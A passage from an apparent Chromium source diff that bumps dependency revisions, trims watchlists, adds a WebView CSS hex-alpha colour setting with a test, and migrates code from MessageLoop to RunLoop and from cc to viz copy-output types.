diff --git a/.eslintrc.js b/.eslintrc.js
index 766d2114..4f6777e 100644
--- a/.eslintrc.js
+++ b/.eslintrc.js
@@ -21,6 +21,7 @@
       },
     ],
     'semi': ['error', 'always'],
+    'arrow-parens': ['error', 'always'],
 
     // TODO(dpapad): Add more checks according to our styleguide.
   },
diff --git a/AUTHORS b/AUTHORS
index 79becdb..a8a5028 100644
--- a/AUTHORS
+++ b/AUTHORS
@@ -854,6 +854,7 @@
 Charles Vaughn <cvaughn@gmail.com>
 Ernesto Mudu <ernesto.mudu@gmail.com>
 Zhifei Fang <facetothefate@gmail.com>
+Timo Witte <timo.witte@gmail.com>
 
 ACCESS CO., LTD. <*@access-company.com>
 BlackBerry Limited <*@blackberry.com>
diff --git a/DEPS b/DEPS
index ab3b72c..075cfb5 100644
--- a/DEPS
+++ b/DEPS
@@ -40,11 +40,11 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling Skia
   # and whatever else without interference from each other.
-  'skia_revision': '92376017d9ee317ebc1393cc38937f9a86289c71',
+  'skia_revision': 'e82a10bb183b5f7753aa67657c4e3a9375f297d2',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling V8
   # and whatever else without interference from each other.
-  'v8_revision': '0e5abab4adf44b37b433e3cd361193b05d160b22',
+  'v8_revision': '9bac201e0e32f198064a10c3032dbd839e8e8efd',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling swarming_client
   # and whatever else without interference from each other.
@@ -60,11 +60,11 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling SwiftShader
   # and whatever else without interference from each other.
-  'swiftshader_revision': '426cb5e11112c9a9c3a7f145474a29e5e81463ca',
+  'swiftshader_revision': '4d3efedb10ce60bdb7847336eba0360fdc9af9d3',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling PDFium
   # and whatever else without interference from each other.
-  'pdfium_revision': 'a27c752a048ac2b88bc0c9c293917a7a0494d8a2',
+  'pdfium_revision': '605fb604ae9c868f840523db6a65d5088fbec07c',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling openmax_dl
   # and whatever else without interference from each other.
@@ -96,7 +96,7 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling catapult
   # and whatever else without interference from each other.
-  'catapult_revision': 'b5d2ffa3c55ad3cb4e92e8b79e42d24361755c91',
+  'catapult_revision': '0f1f20d4390ee04ef2ba3fcc5f7dd105f58bcacc',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling libFuzzer
   # and whatever else without interference from each other.
@@ -205,7 +205,7 @@
     Var('chromium_git') + '/external/selenium/py.git' + '@' + '5fd78261a75fe08d27ca4835fb6c5ce4b42275bd',
 
   'src/third_party/libvpx/source/libvpx':
-    Var('chromium_git') + '/webm/libvpx.git' + '@' +  'b578d59623ddb0f3f76efe5e160aff253b40d19b',
+    Var('chromium_git') + '/webm/libvpx.git' + '@' +  '8836e46ffd84f3e272ea9e5efefa143c2437829c',
 
   'src/third_party/ffmpeg':
     Var('chromium_git') + '/chromium/third_party/ffmpeg.git' + '@' + '97ebed67951a157f6add59046024bff5fa20f4ae',
@@ -407,7 +407,7 @@
 
     # For Linux and Chromium OS.
     'src/third_party/cros_system_api':
-      Var('chromium_git') + '/chromiumos/platform/system_api.git' + '@' + '6c45bba6ac21fea63228721a9781b5d55d25d039',
+      Var('chromium_git') + '/chromiumos/platform/system_api.git' + '@' + 'dcb8a96005b0e1d1c21cdda06c204de9089a4e0a',
 
     # Build tools for Chrome OS. Note: This depends on third_party/pyelftools.
     'src/third_party/chromite':
@@ -514,7 +514,7 @@
       Var('chromium_git') + '/external/github.com/kennethreitz/requests.git' + '@' + 'f172b30356d821d180fa4ecfa3e71c7274a32de4',
 
     'src/third_party/custom_tabs_client/src':
-      Var('chromium_git') + '/external/github.com/GoogleChrome/custom-tabs-client.git' + '@' + 'bbdd5c4537fd4372d4339984fadc4791055bc182',
+      Var('chromium_git') + '/external/github.com/GoogleChrome/custom-tabs-client.git' + '@' + 'b1019f46ee9a0a873333958bb23e4260d112c8da',
 
     'src/third_party/gvr-android-sdk/src':
       Var('chromium_git') + '/external/github.com/googlevr/gvr-android-sdk.git' + '@' + 'a27f768b13682189c23eed69656319db5ef7cbfc',
diff --git a/PRESUBMIT.py b/PRESUBMIT.py
index f8c3c90..cb02197 100644
--- a/PRESUBMIT.py
+++ b/PRESUBMIT.py
@@ -407,6 +407,15 @@
       (
         r'^third_party/leveldatabase/.*\.(cc|h)$',
       ),
+    ),
+    (
+      r'/MessageLoop::Quit(Now|WhenIdle)',
+      (
+        'MessageLoop::Quit*() methods are deprecated. Please migrate to'
+        'Runloop.'
+      ),
+      True,
+      (),
     )
 )
 
diff --git a/WATCHLISTS b/WATCHLISTS
index 47c22268..f773352 100644
--- a/WATCHLISTS
+++ b/WATCHLISTS
@@ -25,10 +25,6 @@
                   '|isimpledom' \
                   '|liblouis'
     },
-    'activity_log': {
-      'filepath': 'chrome/browser/extensions/activity_log/' \
-                  '|chrome/browser/extensions/api/activity_log_private/'
-    },
     'add_to_homescreen': {
       'filepath': 'chrome/android/java/src/org/chromium/chrome/browser/webapps/|'\
                   'chrome/android/javatests/src/org/chromium/chrome/browser/webapps/|'\
@@ -216,12 +212,6 @@
     'bottombar': {
       'filepath': 'chrome/android/java/src/org/chromium/chrome/browser/compositor/bottombar/',
     },
-    'breakpad_app': {
-      'filepath': 'components/crash/content/app/',
-    },
-    'browser': {
-      'filepath': 'chrome/browser/',
-    },
     'browser_chromeos': {
       'filepath': 'chrome/browser/chromeos/',
     },
@@ -386,10 +376,6 @@
     'content_network' : {
       'filepath': 'content/network/',
     },
-    'cookie_monster': {
-      'filepath': 'net/cookies/|'\
-                  'chrome/browser/net/sqlite_persistent_cookie_store',
-    },
     'courgette': {
       'filepath': 'courgette/',
     },
@@ -625,10 +611,6 @@
     'ipc': {
       'filepath': 'ipc/ipc',
     },
-    'ipc_messages': {
-      'filepath': '_message.*.h|'\
-                  '_messages.cc',
-    },
     'login': {
       'filepath': 'chrome/browser/ui/login'
     },
@@ -805,11 +787,6 @@
     'nqe': {
       'filepath': 'nqe',
     },
-    'ntp': {
-      'filepath': 'chrome/browser/resources/ntp4/|'\
-        'chrome/browser/resources/ntp_android/|'\
-        'chrome/browser/ui/webui/ntp/',
-    },
     'ntp_snippets': {
       'filepath': 'chrome/android/java/src/org/chromium/chrome/browser/ntp/|'\
         'chrome/android/javatests/src/org/chromium/chrome/browser/ntp/|'\
@@ -977,15 +954,6 @@
     'safe_browsing_db': {
       'filepath': 'components/safe_browsing_db/',
     },
-    'sandbox': {
-      'filepath': 'sandbox/'\
-                  '|content/browser/bootstrap_sandbox_mac'\
-                  '|content/browser/renderer_host/render_sandbox_host_linux'\
-                  '|content/browser/renderer_host/sandbox_ipc_linux'\
-                  '|content/browser/zygote_host/'\
-                  '|content/common/sandbox_'\
-                  '|content/zygote/'\
-    },
     'scheduler': {
       'filepath': 'cc/scheduler'\
                   '|components/scheduler'\
@@ -994,9 +962,6 @@
     'screen_orientation': {
       'filepath': 'screen_orientation',
     },
-    'search': {
-      'filepath': 'chrome/browser/ui/search/',
-    },
     'service_worker': {
       'filepath': 'content/(browser|renderer|child|common)/service_worker/',
     },
@@ -1015,12 +980,6 @@
       'filepath': 'content/browser/site_instance|'\
         'content/browser/browsing_instance',
     },
-    'speech': {
-      'filepath': 'chrome/browser/speech/'\
-                  '|content/browser/speech/'\
-                  '|content/common/.*speech'\
-                  '|content/public/.*speech'
-    },
     'spellcheck': {
       'filepath': 'chrome/browser/spellchecker/'\
                   '|chrome/browser/renderer_context_menu/spelling_'\
@@ -1092,9 +1051,6 @@
         'content/browser/tab_contents/|'\
         'chrome/browser/ui/tab_contents/',
     },
-    'task_manager': {
-      'filepath': 'task_manager'
-    },
     'tbmv2_metrics': {
       'filepath': 'third_party/catapult/tracing/tracing/metrics'
     },
@@ -1141,9 +1097,6 @@
       'filepath': 'base/timer/'\
                   '|components/timers/'
     },
-    'tools': {
-      'filepath': 'tools/',
-    },
     'tools_win_chromeexts': {
       'filepath': 'tools/win/chromeexts',
     },
@@ -1200,9 +1153,6 @@
       # Applies to all files and subdirs within this directory.
       'filepath': '^ui/views/',
     },
-    'views_corewm': {
-      'filepath': 'ui/views/corewm/',
-    },
     'virtual_keyboard': {
       'filepath': 'ui/keyboard/'\
                   '|chrome/test/data/chromeos/virtual_keyboard/'\
@@ -1298,11 +1248,6 @@
                   '|third_party/WebKit/public/platform/.*Drag' \
                   '|third_party/WebKit/public/web/.*Drag',
     },
-    'blink_content_security_policy': {
-      'filepath': 'third_party/WebKit/Source/core/frame/csp' \
-                  '|third_party/WebKit/Source/core/events/SecurityPolicyViolationEvent' \
-                  '|third_party/WebKit/LayoutTests/http/tests/security/contentSecurityPolicy'
-    },
     'blink_css': {
       'filepath': 'third_party/WebKit/Source/core/css',
     },
@@ -1781,8 +1726,7 @@
     'blink_dom': ['blink-reviews-dom@chromium.org',
                   'dglazkov+blink@chromium.org',
                   'eae+blinkwatch@chromium.org',
-                  'rob.buis@samsung.com',
-                  'sigbjornf@opera.com'],
+                  'rob.buis@samsung.com'],
     'blink_dom_events': ['hayato@chromium.org'],
     'blink_events': ['blink-reviews-events@chromium.org',
                      'dglazkov+blink@chromium.org',
diff --git a/android_webview/browser/aw_settings.cc b/android_webview/browser/aw_settings.cc
index 19ad245..ede37057 100644
--- a/android_webview/browser/aw_settings.cc
+++ b/android_webview/browser/aw_settings.cc
@@ -460,6 +460,9 @@
   web_prefs->do_not_update_selection_on_mutating_selection_range =
       Java_AwSettings_getDoNotUpdateSelectionOnMutatingSelectionRange(env, obj);
 
+  web_prefs->css_hex_alpha_color_enabled =
+      Java_AwSettings_getCSSHexAlphaColorEnabledLocked(env, obj);
+
   // Keep spellcheck disabled on html elements unless the spellcheck="true"
   // attribute is explicitly specified. This "opt-in" behavior is for backward
   // consistency in apps that use WebView (see crbug.com/652314).
diff --git a/android_webview/browser/net/aw_url_request_context_getter.cc b/android_webview/browser/net/aw_url_request_context_getter.cc
index f8a2ec6..bee2385f 100644
--- a/android_webview/browser/net/aw_url_request_context_getter.cc
+++ b/android_webview/browser/net/aw_url_request_context_getter.cc
@@ -254,8 +254,6 @@
   cache_params.max_size = 20 * 1024 * 1024;  // 20M
   cache_params.path = cache_path_;
   builder.EnableHttpCache(cache_params);
-  builder.SetCacheThreadTaskRunner(
-      BrowserThread::GetTaskRunnerForThread(BrowserThread::CACHE));
 
   net::HttpNetworkSession::Params network_session_params;
   ApplyCmdlineOverridesToNetworkSessionParams(&network_session_params);
diff --git a/android_webview/java/src/org/chromium/android_webview/AwSettings.java b/android_webview/java/src/org/chromium/android_webview/AwSettings.java
index 49f49e63..3c5c32a 100644
--- a/android_webview/java/src/org/chromium/android_webview/AwSettings.java
+++ b/android_webview/java/src/org/chromium/android_webview/AwSettings.java
@@ -85,6 +85,7 @@
     private boolean mSpatialNavigationEnabled;  // Default depends on device features.
     private boolean mEnableSupportedHardwareAcceleratedFeatures;
     private int mMixedContentMode = WebSettings.MIXED_CONTENT_NEVER_ALLOW;
+    private boolean mCSSHexAlphaColorEnabled = false;
 
     private boolean mOffscreenPreRaster;
     private int mDisabledMenuItems = WebSettings.MENU_ITEM_NONE;
@@ -1268,6 +1269,21 @@
     }
 
     @CalledByNative
+    private boolean getCSSHexAlphaColorEnabledLocked() {
+        assert Thread.holdsLock(mAwSettingsLock);
+        return mCSSHexAlphaColorEnabled;
+    }
+
+    public void setCSSHexAlphaColorEnabled(boolean enabled) {
+        synchronized (mAwSettingsLock) {
+            if (mCSSHexAlphaColorEnabled != enabled) {
+                mCSSHexAlphaColorEnabled = enabled;
+                mEventHandler.updateWebkitPreferencesLocked();
+            }
+        }
+    }
+
+    @CalledByNative
     private boolean getSupportLegacyQuirksLocked() {
         assert Thread.holdsLock(mAwSettingsLock);
         return mSupportLegacyQuirks;
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/AwLegacyQuirksTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/AwLegacyQuirksTest.java
index c07f9b5..07fca65b 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/AwLegacyQuirksTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/AwLegacyQuirksTest.java
@@ -12,6 +12,7 @@
 import org.chromium.base.annotations.SuppressFBWarnings;
 import org.chromium.base.test.util.CallbackHelper;
 import org.chromium.base.test.util.Feature;
+import org.chromium.base.test.util.RetryOnFailure;
 import org.chromium.content_public.common.ContentUrlConstants;
 import org.chromium.ui.display.DisplayAndroid;
 
@@ -22,7 +23,8 @@
  * Tests for legacy quirks (compatibility with WebView Classic).
  */
 public class AwLegacyQuirksTest extends AwTestBase {
-
+    // WebView layout width tests are flaky: http://crbug.com/746264
+    @RetryOnFailure
     @MediumTest
     @Feature({"AndroidWebView"})
     public void testTargetDensityDpi() throws Throwable {
@@ -60,6 +62,8 @@
         assertEquals(displayWidth * (100f / deviceDpi), actualWidth, 10f);
     }
 
+    // WebView layout width tests are flaky: http://crbug.com/746264
+    @RetryOnFailure
     @MediumTest
     @Feature({"AndroidWebView"})
     public void testWideViewportInitialScaleDoesNotExpandFixedLayoutWidth() throws Throwable {
@@ -87,6 +91,8 @@
         assertEquals(1.0f, getScaleOnUiThread(awContents));
     }
 
+    // WebView layout width tests are flaky: http://crbug.com/746264
+    @RetryOnFailure
     @MediumTest
     @Feature({"AndroidWebView"})
     public void testZeroValuesQuirk() throws Throwable {
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/AwSettingsTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/AwSettingsTest.java
index 6c4fe83..eb19757 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/AwSettingsTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/AwSettingsTest.java
@@ -2604,6 +2604,8 @@
         assertEquals(viewportTagSpecifiedWidth, getTitleOnUiThread(awContents));
     }
 
+    // WebView layout width tests are flaky: http://crbug.com/746264
+    @RetryOnFailure
     @SmallTest
     @Feature({"AndroidWebView", "Preferences"})
     public void testUseWideViewportLayoutWidth() throws Throwable {
@@ -2613,6 +2615,8 @@
         useWideViewportLayoutWidthTest(testContainerView, contentClient.getOnPageFinishedHelper());
     }
 
+    // WebView layout width tests are flaky: http://crbug.com/746264
+    @RetryOnFailure
     @SmallTest
     @Feature({"AndroidWebView", "Preferences"})
     public void testUseWideViewportLayoutWidthNoQuirks() throws Throwable {
@@ -2979,6 +2983,26 @@
         doAllowEmptyDocumentPersistenceTest(false);
     }
 
+    @SmallTest
+    @Feature({"AndroidWebView", "Preferences"})
+    public void testCSSHexAlphaColorEnabled() throws Throwable {
+        final TestAwContentsClient client = new TestAwContentsClient();
+        final AwTestContainerView view = createAwTestContainerViewOnMainSync(client);
+        final AwContents awContents = view.getAwContents();
+        CallbackHelper onPageFinishedHelper = client.getOnPageFinishedHelper();
+        enableJavaScriptOnUiThread(awContents);
+        final String expectedTitle = "false"; // https://crbug.com/618472
+        final String page = "<!doctype html>"
+                + "<script>"
+                + "window.onload = function() {"
+                + "  document.title = CSS.supports('color', '#AABBCCDD');"
+                + "};"
+                + "</script>";
+        loadDataSync(awContents, onPageFinishedHelper, page, "text/html", false);
+        String actualTitle = getTitleOnUiThread(awContents);
+        assertEquals(expectedTitle, actualTitle);
+    }
+
     private static class SelectionRangeTestDependencyFactory extends TestDependencyFactory {
         private boolean mDoNotUpdate;
         public SelectionRangeTestDependencyFactory(boolean doNotUpdate) {
diff --git a/android_webview/renderer/aw_content_renderer_client.cc b/android_webview/renderer/aw_content_renderer_client.cc
index 236e85f..0af84e0 100644
--- a/android_webview/renderer/aw_content_renderer_client.cc
+++ b/android_webview/renderer/aw_content_renderer_client.cc
@@ -204,8 +204,7 @@
 #endif
 }
 
-bool AwContentRendererClient::HasErrorPage(int http_status_code,
-                                           std::string* error_domain) {
+bool AwContentRendererClient::HasErrorPage(int http_status_code) {
   return http_status_code >= 400;
 }
 
diff --git a/android_webview/renderer/aw_content_renderer_client.h b/android_webview/renderer/aw_content_renderer_client.h
index 6576d0ef..df7252c 100644
--- a/android_webview/renderer/aw_content_renderer_client.h
+++ b/android_webview/renderer/aw_content_renderer_client.h
@@ -35,7 +35,7 @@
   void RenderThreadStarted() override;
   void RenderFrameCreated(content::RenderFrame* render_frame) override;
   void RenderViewCreated(content::RenderView* render_view) override;
-  bool HasErrorPage(int http_status_code, std::string* error_domain) override;
+  bool HasErrorPage(int http_status_code) override;
   void GetNavigationErrorStrings(content::RenderFrame* render_frame,
                                  const blink::WebURLRequest& failed_request,
                                  const blink::WebURLError& error,
diff --git a/ash/DEPS b/ash/DEPS
index 880dd4d1..a7476e7 100644
--- a/ash/DEPS
+++ b/ash/DEPS
@@ -9,6 +9,7 @@
   "+components/ui_devtools",
   "+components/user_manager",
   "+components/vector_icons",
+  "+components/viz/common",
   "+components/wallpaper",
   "+gpu/config",
   "+media",
diff --git a/ash/app_list/app_list_presenter_delegate_unittest.cc b/ash/app_list/app_list_presenter_delegate_unittest.cc
index e4e8064a..feb940e 100644
--- a/ash/app_list/app_list_presenter_delegate_unittest.cc
+++ b/ash/app_list/app_list_presenter_delegate_unittest.cc
@@ -145,7 +145,6 @@
 
   std::unique_ptr<aura::Window> window(CreateTestWindowInShellWithId(0));
   wm::ActivateWindow(window.get());
-
   EXPECT_FALSE(app_list_presenter_impl()->GetTargetVisibility());
 }
 
@@ -171,6 +170,7 @@
   aura::Window* app_window = app_list_presenter_impl()->GetWindow();
   ASSERT_TRUE(app_window);
   ui::test::EventGenerator& generator = GetEventGenerator();
+
   // Click on the bubble itself. The bubble should remain visible.
   generator.MoveMouseToCenterOf(app_window);
   generator.ClickLeftButton();
@@ -189,12 +189,11 @@
 // Tests that tapping outside the app-list bubble closes it.
 TEST_F(AppListPresenterDelegateTest, TapOutsideBubbleClosesBubble) {
   app_list_presenter_impl()->Show(GetPrimaryDisplayId());
-
   aura::Window* app_window = app_list_presenter_impl()->GetWindow();
   ASSERT_TRUE(app_window);
   gfx::Rect app_window_bounds = app_window->GetBoundsInRootWindow();
-
   ui::test::EventGenerator& generator = GetEventGenerator();
+
   // Click on the bubble itself. The bubble should remain visible.
   generator.GestureTapAt(app_window_bounds.CenterPoint());
   EXPECT_TRUE(app_list_presenter_impl()->GetTargetVisibility());
@@ -472,6 +471,7 @@
   app_list::AppListView* app_list = app_list_presenter_impl()->GetView();
   EXPECT_EQ(app_list->app_list_state(),
             app_list::AppListView::FULLSCREEN_ALL_APPS);
+
   // Type in the search box to transition to |FULLSCREEN_SEARCH|.
   ui::test::EventGenerator& generator = GetEventGenerator();
   generator.PressKey(ui::KeyboardCode::VKEY_0, 0);
@@ -558,7 +558,6 @@
 
   // Tap outside the search box, the AppListView should transition to Peeking
   // and the search box should be inactive.
-
   if (test_mouse_event) {
     generator.MoveMouseTo(GetPointOutsideSearchbox());
     generator.ClickLeftButton();
@@ -701,8 +700,40 @@
             SHELF_BACKGROUND_OVERLAP);
 }
 
+// Tests that the app list in HALF with an active search transitions to PEEKING
+// after the body is clicked/tapped.
+TEST_P(FullscreenAppListPresenterDelegateTest, HalfToPeekingByClickOrTap) {
+  app_list_presenter_impl()->Show(GetPrimaryDisplayId());
+  ui::test::EventGenerator& generator = GetEventGenerator();
+
+  // Transition to half app list by entering text.
+  generator.PressKey(ui::KeyboardCode::VKEY_0, 0);
+  app_list::AppListView* app_list = app_list_presenter_impl()->GetView();
+  EXPECT_EQ(app_list->app_list_state(), app_list::AppListView::HALF);
+
+  // Click or Tap the app list view body.
+  if (TestMouseEventParam()) {
+    generator.MoveMouseTo(GetPointOutsideSearchbox());
+    generator.ClickLeftButton();
+    generator.ReleaseLeftButton();
+  } else {
+    generator.GestureTapAt(GetPointOutsideSearchbox());
+  }
+  EXPECT_EQ(app_list->app_list_state(), app_list::AppListView::PEEKING);
+
+  // Click or Tap the app list view body again.
+  if (TestMouseEventParam()) {
+    generator.MoveMouseTo(GetPointOutsideSearchbox());
+    generator.ClickLeftButton();
+    generator.ReleaseLeftButton();
+  } else {
+    generator.GestureTapAt(GetPointOutsideSearchbox());
+  }
+  EXPECT_EQ(app_list->app_list_state(), app_list::AppListView::CLOSED);
+}
+
 // Tests that the half app list closes if the user taps outside its bounds.
-TEST_F(FullscreenAppListPresenterDelegateTest,
+TEST_P(FullscreenAppListPresenterDelegateTest,
        TapAndClickOutsideClosesHalfAppList) {
   // TODO(newcomer): Investigate mash failures crbug.com/726838
   app_list_presenter_impl()->Show(GetPrimaryDisplayId());
@@ -713,38 +744,13 @@
   app_list::AppListView* app_list = app_list_presenter_impl()->GetView();
   EXPECT_EQ(app_list->app_list_state(), app_list::AppListView::HALF);
 
-  // Grab the bounds of the search box,
-  // which is guaranteed to be inside the app list.
-  gfx::Point tap_point = app_list_presenter_impl()
-                             ->GetView()
-                             ->search_box_widget()
-                             ->GetContentsView()
-                             ->GetBoundsInScreen()
-                             .CenterPoint();
-
-  // Tapping inside the bounds doesn't close the app list.
-  generator.GestureTapAt(tap_point);
-  EXPECT_TRUE(app_list_presenter_impl()->GetTargetVisibility());
-  EXPECT_EQ(app_list->app_list_state(), app_list::AppListView::HALF);
-
-  // Clicking inside the bounds doesn't close the app list.
-  generator.MoveMouseTo(tap_point);
-  generator.ClickLeftButton();
-  EXPECT_TRUE(app_list_presenter_impl()->IsVisible());
-  EXPECT_EQ(app_list->app_list_state(), app_list::AppListView::HALF);
-
-  // Tapping outside the bounds closes the app list.
-  generator.GestureTapAt(gfx::Point(10, 10));
-  EXPECT_FALSE(app_list_presenter_impl()->IsVisible());
-
-  // Reset the app list to half state.
-  app_list_presenter_impl()->Show(GetPrimaryDisplayId());
-  generator.PressKey(ui::KeyboardCode::VKEY_0, 0);
-  EXPECT_EQ(app_list->app_list_state(), app_list::AppListView::HALF);
-
-  // Clicking outside the bounds closes the app list.
-  generator.MoveMouseTo(gfx::Point(10, 10));
-  generator.ClickLeftButton();
+  // Clicking/tapping outside the bounds closes the app list.
+  if (TestMouseEventParam()) {
+    generator.MoveMouseTo(gfx::Point(10, 10));
+    generator.ClickLeftButton();
+  } else {
+    generator.GestureTapAt(gfx::Point(10, 10));
+  }
   EXPECT_FALSE(app_list_presenter_impl()->IsVisible());
 }
 
diff --git a/ash/autoclick/mus/autoclick_application.cc b/ash/autoclick/mus/autoclick_application.cc
index ac2f418..ae6fe27 100644
--- a/ash/autoclick/mus/autoclick_application.cc
+++ b/ash/autoclick/mus/autoclick_application.cc
@@ -7,7 +7,7 @@
 #include "ash/public/cpp/shell_window_ids.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "services/service_manager/public/cpp/connector.h"
 #include "services/service_manager/public/cpp/service_context.h"
@@ -126,7 +126,7 @@
     widget_->Init(params);
   } else {
     widget_->Close();
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
diff --git a/ash/drag_drop/drag_drop_interactive_uitest.cc b/ash/drag_drop/drag_drop_interactive_uitest.cc
index f24adf2..44cf089 100644
--- a/ash/drag_drop/drag_drop_interactive_uitest.cc
+++ b/ash/drag_drop/drag_drop_interactive_uitest.cc
@@ -7,7 +7,6 @@
 #include "ash/shell.h"
 #include "ash/test/ash_interactive_ui_test_base.h"
 #include "base/bind.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "ui/aura/window_event_dispatcher.h"
@@ -83,7 +82,7 @@
 }
 
 void QuitLoop() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void DragDropAcrossMultiDisplay_Step4() {
diff --git a/ash/rotator/screen_rotation_animator.cc b/ash/rotator/screen_rotation_animator.cc
index 1c88f98..84caa96 100644
--- a/ash/rotator/screen_rotation_animator.cc
+++ b/ash/rotator/screen_rotation_animator.cc
@@ -14,8 +14,8 @@
 #include "base/memory/ptr_util.h"
 #include "base/metrics/histogram_macros.h"
 #include "base/time/time.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "ui/aura/window.h"
 #include "ui/compositor/callback_layer_animation_observer.h"
 #include "ui/compositor/layer.h"
@@ -197,8 +197,8 @@
   if (has_switch_ash_disable_smooth_screen_rotation_) {
     StartSlowAnimation(std::move(rotation_request));
   } else {
-    std::unique_ptr<cc::CopyOutputRequest> copy_output_request =
-        cc::CopyOutputRequest::CreateRequest(
+    std::unique_ptr<viz::CopyOutputRequest> copy_output_request =
+        viz::CopyOutputRequest::CreateRequest(
             CreateAfterCopyCallbackBeforeRotation(std::move(rotation_request)));
     RequestCopyScreenRotationContainerLayer(std::move(copy_output_request));
     screen_rotation_state_ = COPY_REQUESTED;
@@ -234,7 +234,7 @@
 }
 
 void ScreenRotationAnimator::RequestCopyScreenRotationContainerLayer(
-    std::unique_ptr<cc::CopyOutputRequest> copy_output_request) {
+    std::unique_ptr<viz::CopyOutputRequest> copy_output_request) {
   ui::Layer* screen_rotation_container_layer =
       GetScreenRotationContainer(root_window_)->layer();
   copy_output_request->set_area(
@@ -263,7 +263,7 @@
 
 void ScreenRotationAnimator::OnScreenRotationContainerLayerCopiedBeforeRotation(
     std::unique_ptr<ScreenRotationRequest> rotation_request,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   if (IgnoreCopyResult(rotation_request->id, rotation_request_id_))
     return;
   // Abort rotation and animation if the display was removed or the
@@ -289,15 +289,15 @@
   AddLayerAtTopOfWindowLayers(root_window_, old_layer_tree_owner_->root());
   SetRotation(rotation_request->display_id, rotation_request->old_rotation,
               rotation_request->new_rotation, rotation_request->source);
-  std::unique_ptr<cc::CopyOutputRequest> copy_output_request =
-      cc::CopyOutputRequest::CreateRequest(
+  std::unique_ptr<viz::CopyOutputRequest> copy_output_request =
+      viz::CopyOutputRequest::CreateRequest(
           CreateAfterCopyCallbackAfterRotation(std::move(rotation_request)));
   RequestCopyScreenRotationContainerLayer(std::move(copy_output_request));
 }
 
 void ScreenRotationAnimator::OnScreenRotationContainerLayerCopiedAfterRotation(
     std::unique_ptr<ScreenRotationRequest> rotation_request,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   if (IgnoreCopyResult(rotation_request->id, rotation_request_id_))
     return;
   // In the following cases, abort animation:
@@ -326,9 +326,9 @@
 }
 
 std::unique_ptr<ui::LayerTreeOwner> ScreenRotationAnimator::CopyLayerTree(
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   result->TakeTexture(&texture_mailbox, &release_callback);
   DCHECK(texture_mailbox.IsTexture());
   const gfx::Rect rect(
diff --git a/ash/rotator/screen_rotation_animator.h b/ash/rotator/screen_rotation_animator.h
index 04db364..06b0e53f 100644
--- a/ash/rotator/screen_rotation_animator.h
+++ b/ash/rotator/screen_rotation_animator.h
@@ -18,7 +18,7 @@
 class Window;
 }  // namesapce aura
 
-namespace cc {
+namespace viz {
 class CopyOutputRequest;
 class CopyOutputResult;
 }  // namespace cc
@@ -67,7 +67,7 @@
 
  protected:
   using CopyCallback =
-      base::OnceCallback<void(std::unique_ptr<cc::CopyOutputResult> result)>;
+      base::OnceCallback<void(std::unique_ptr<viz::CopyOutputResult> result)>;
   struct ScreenRotationRequest {
     ScreenRotationRequest(int64_t id,
                           int64_t display_id,
@@ -119,26 +119,26 @@
 
   // This is an asynchronous call to request copy output of root layer.
   void RequestCopyScreenRotationContainerLayer(
-      std::unique_ptr<cc::CopyOutputRequest> copy_output_request);
+      std::unique_ptr<viz::CopyOutputRequest> copy_output_request);
 
   // The callback in |RequestCopyScreenRotationContainerLayer()| before screen
   // rotation.
   void OnScreenRotationContainerLayerCopiedBeforeRotation(
       std::unique_ptr<ScreenRotationRequest> rotation_request,
-      std::unique_ptr<cc::CopyOutputResult> result);
+      std::unique_ptr<viz::CopyOutputResult> result);
 
   // The callback in |RequestCopyScreenRotationContainerLayer()| after screen
   // rotation.
   void OnScreenRotationContainerLayerCopiedAfterRotation(
       std::unique_ptr<ScreenRotationRequest> rotation_request,
-      std::unique_ptr<cc::CopyOutputResult> result);
+      std::unique_ptr<viz::CopyOutputResult> result);
 
   // Recreates all |root_window| layers and their layer tree owner.
   void CreateOldLayerTreeForSlowAnimation();
 
   // Creates a new layer and its layer tree owner from |CopyOutputResult|.
   std::unique_ptr<ui::LayerTreeOwner> CopyLayerTree(
-      std::unique_ptr<cc::CopyOutputResult> result);
+      std::unique_ptr<viz::CopyOutputResult> result);
 
   // Note: Only call this function when the |old_layer_tree_owner_| is set up
   // properly.
diff --git a/ash/rotator/screen_rotation_animator_unittest.cc b/ash/rotator/screen_rotation_animator_unittest.cc
index 67cf79d..aadfbb88 100644
--- a/ash/rotator/screen_rotation_animator_unittest.cc
+++ b/ash/rotator/screen_rotation_animator_unittest.cc
@@ -20,8 +20,8 @@
 #include "base/command_line.h"
 #include "base/memory/ptr_util.h"
 #include "base/run_loop.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_request.h"
